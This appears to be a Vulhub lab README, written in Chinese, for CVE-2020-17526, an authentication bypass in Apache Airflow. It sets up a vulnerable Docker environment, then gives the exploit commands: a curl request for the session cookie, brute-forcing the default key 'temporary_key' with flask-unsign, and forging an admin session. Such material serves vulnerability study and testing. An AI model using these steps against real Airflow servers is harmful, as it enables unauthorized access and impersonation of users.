Some checks failed
Vulhub Format Check and Lint / format-check (push) Has been cancelled
Vulhub Format Check and Lint / markdown-check (push) Has been cancelled
Vulhub Docker Image CI / longtime-images-test (push) Has been cancelled
Vulhub Docker Image CI / images-test (push) Has been cancelled
57 lines
1.6 KiB
Markdown
57 lines
1.6 KiB
Markdown
# Apache Airflow 默认密钥导致的权限绕过(CVE-2020-17526)
|
||
|
||
[中文版本(Chinese version)](README.zh-cn.md)
|
||
|
||
Apache Airflow是一款开源的,分布式任务调度框架。默认情况下,Apache Airflow无需用户认证,但管理员也可以通过指定`webserver.authenticate=True`来开启认证。
|
||
|
||
在其1.10.13版本及以前,即使开启了认证,攻击者也可以通过一个默认密钥来绕过登录,伪造任意用户。
|
||
|
||
参考链接:
|
||
|
||
- <https://lists.apache.org/thread/rxn1y1f9fco3w983vk80ps6l32rzm6t0>
|
||
- <https://kloudle.com/academy/authentication-bypass-in-apache-airflow-cve-2020-17526-and-aws-cloud-platform-compromise>
|
||
|
||
## 漏洞环境
|
||
|
||
执行如下命令启动一个Apache Airflow 1.10.10服务器:
|
||
|
||
```bash
|
||
#Initialize the database
|
||
docker compose run airflow-init
|
||
|
||
#Start service
|
||
docker compose up -d
|
||
```
|
||
|
||
服务器启动后,访问`http://your-ip:8080`即可查看到登录页面。
|
||
|
||
## 漏洞利用
|
||
|
||
首先,我们访问登录页面,服务器会返回一个签名后的Cookie:
|
||
|
||
```
|
||
curl -v http://localhost:8080/admin/airflow/login
|
||
```
|
||
|
||

|
||
|
||
然后,使用[flask-unsign](https://github.com/Paradoxis/Flask-Unsign)这个工具来爆破签名时使用的`SECRET_KEY`:
|
||
|
||
```
|
||
flask-unsign -u -c [session from Cookie]
|
||
```
|
||
|
||

|
||
|
||
Bingo,成功爆破出Key是`temporary_key`。使用这个key生成一个新的session,其中伪造`user_id`为1:
|
||
|
||
```
|
||
flask-unsign -s --secret temporary_key -c "{'user_id': '1', '_fresh': False, '_permanent': True}"
|
||
```
|
||
|
||

|
||
|
||
在浏览器中使用这个新生成的session,可见已成功登录:
|
||
|
||

|